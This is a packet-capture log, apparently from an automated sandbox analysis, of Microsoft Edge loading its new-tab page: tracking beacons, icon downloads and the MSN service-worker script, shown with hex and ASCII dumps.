2024-11-26 07:03:47 UTC	925	OUT	GET /b?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:47 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 26 Nov 2024 07:03:47 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=18Ac1114aa6e81aa7f6a2771732604627; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=18Ac1114aa6e81aa7f6a2771732604627; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 1c642e00a55bc084d1dd63dc30d4a59a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: Zwl6cA4fULOLlVv8224sTk7J8taXwF0xzqxsdFVHPWqSmHvtMJJStQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49799	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:47 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4aa832c4-001e-0023-6091-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968glpgnhC1EWR7uec0000000v9g000000003fuw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49804	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b45380e2-b01e-0013-6191-3f5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968zgtf6hC1EWRqd8s0000000n4g000000000sb7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49803	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ab62deda-d01e-0047-3391-3fb76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968qj8jrhC1EWRh41s0000000v1g000000004sqk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49801	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e356b228-901e-0004-0cad-3f9d85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968nxc96hC1EWRspw80000000uy0000000000rtb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49802	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 204c33f4-801e-0054-0391-3f828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968n2hr8hC1EWR9cag0000000us000000000575a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49800	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:48 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:48 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: dea37d40-a01e-002e-5891-3fe8c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070348Z-174f7845968nxc96hC1EWRspw80000000ur000000000dhfg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:48 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49795	204.79.197.203	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	1981	OUT	GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":48,"provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; MUIDB=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=9d88a01c-c379-431c-9873-4ea0c715db40; ai_session=U/IyNk/vcXnH3Fet2HiDGA\|1732604626687\|1732604626687; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z
2024-11-26 07:03:49 UTC	1431	IN	HTTP/1.1 200 OK Cache-Control: no-cache Transfer-Encoding: chunked Content-Type: application/javascript Content-MD5: ESYu3lvbz6EOBIw3fjFVIw== Last-Modified: Fri, 22 Nov 2024 21:29:05 GMT ETag: 0x8DD0B3CB1140E51 Vary: Origin x-ms-request-id: 0d0dcb03-a01e-0013-7d25-3dd663000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.48.200.173,b=1415114069,c=g,n=US_VA_ASHBURN,o=20940] Server-Timing: clientrtt; dur=5, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.48.200.173 Akamai-Request-ID: 5458ed55 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Service-Worker-Allowed: / report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.adc83017.1732604629.5458ed55 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2F0BDDCAC5704AB198995688A7F08EB6 Ref B: EWR30EDGE0316 Ref C: 2024-11-26T07:03:49Z Date: Tue, 26 Nov 2024 07:03:48 GMT Connection: close
2024-11-26 07:03:49 UTC	2312	IN	Data Raw: 39 30 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 73 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 6e 5d 3d 73 5b 6e 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 Data Ascii: 901!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict
2024-11-26 07:03:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6e 64 73 22 2c 65 2e 62 67 54 61 73 6b 4e 65 74 77 6f 72 6b 54 69 6d 65 6f 75 74 53 65 63 6f 6e 64 73 3d 22 62 67 54 61 73 6b 4e 65 74 77 6f 72 6b 54 69 6d 65 6f 75 74 53 65 63 6f 6e 64 73 22 2c 65 2e 65 6e 61 62 6c 65 46 61 6c 6c 62 61 63 6b 56 65 72 74 69 63 61 6c 73 46 65 65 64 3d 22 65 6e 61 62 6c 65 46 61 6c 6c 62 61 63 6b 56 65 72 74 69 63 61 6c 73 46 65 65 64 22 2c 65 2e 65 6e 61 62 6c 65 45 78 74 65 72 6e 61 6c 43 73 73 50 72 65 63 61 63 68 65 3d 22 65 6e 61 62 6c 65 45 78 74 65 72 6e 61 6c 43 73 73 50 72 65 63 61 63 68 65 22 2c 65 2e 75 73 65 57 65 62 4c 61 79 6f 75 74 45 6e 64 50 6f 69 6e 74 3d 22 75 73 65 57 65 62 4c 61 79 6f 75 74 45 6e 64 50 6f 69 6e 74 22 2c 65 2e 6e 6f 43 61 63 68 65 4c 61 79 6f 75 74 54 65 6d 70 6c 61 74 Data Ascii: 2000nds",e.bgTaskNetworkTimeoutSeconds="bgTaskNetworkTimeoutSeconds",e.enableFallbackVerticalsFeed="enableFallbackVerticalsFeed",e.enableExternalCssPrecache="enableExternalCssPrecache",e.useWebLayoutEndPoint="useWebLayoutEndPoint",e.noCacheLayoutTemplat
2024-11-26 07:03:49 UTC	4647	IN	Data Raw: 31 32 31 66 0d 0a 7b 75 72 6c 3a 28 69 3d 72 2e 75 72 6c 2c 6e 65 77 20 55 52 4c 28 53 74 72 69 6e 67 28 69 29 2c 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 60 5e 24 7b 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 7d 60 29 2c 22 22 29 29 7d 29 3b 76 61 72 20 69 3b 63 6f 6e 73 74 20 6f 3d 61 77 61 69 74 20 74 68 69 73 2e 5f 65 6e 73 75 72 65 52 65 73 70 6f 6e 73 65 53 61 66 65 54 6f 43 61 63 68 65 28 6e 29 3b 69 66 28 21 6f 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 7b 63 61 63 68 65 4e 61 6d 65 3a 6c 2c 6d 61 74 63 68 4f 70 74 69 6f 6e 73 3a 68 7d 3d 74 68 69 73 2e 5f 73 74 72 61 74 65 67 79 2c 75 3d 61 77 61 69 74 20 73 65 6c 66 2e 63 61 63 68 65 73 2e 6f 70 65 6e 28 6c 29 2c 64 Data Ascii: 121f{url:(i=r.url,new URL(String(i),location.href).href.replace(new RegExp(`^${location.origin}`),""))});var i;const o=await this._ensureResponseSafeToCache(n);if(!o)return!1;const{cacheName:l,matchOptions:h}=this._strategy,u=await self.caches.open(l),d
2024-11-26 07:03:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 7b 7d 29 29 3b 6c 65 74 20 61 2c 72 3d 61 77 61 69 74 20 73 2e 63 61 63 68 65 4d 61 74 63 68 28 74 29 3b 69 66 28 72 29 3b 65 6c 73 65 20 74 72 79 7b 72 3d 61 77 61 69 74 20 6e 7d 63 61 74 63 68 28 65 29 7b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 26 26 28 61 3d 65 29 7d 69 66 28 21 72 29 74 68 72 6f 77 20 6e 65 77 20 65 28 22 6e 6f 2d 72 65 73 70 6f 6e 73 65 22 2c 7b 75 72 6c 3a 74 2e 75 72 6c 2c 65 72 72 6f 72 3a 61 7d 29 3b 72 65 74 75 72 6e 20 72 7d 7d 63 6f 6e 73 74 20 49 3d 28 65 2c 74 29 3d 3e 74 2e 73 6f 6d 65 28 28 74 3d 3e 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 3b 6c 65 74 20 42 2c 57 3b 63 6f 6e 73 74 20 6a 3d 6e 65 77 20 57 65 61 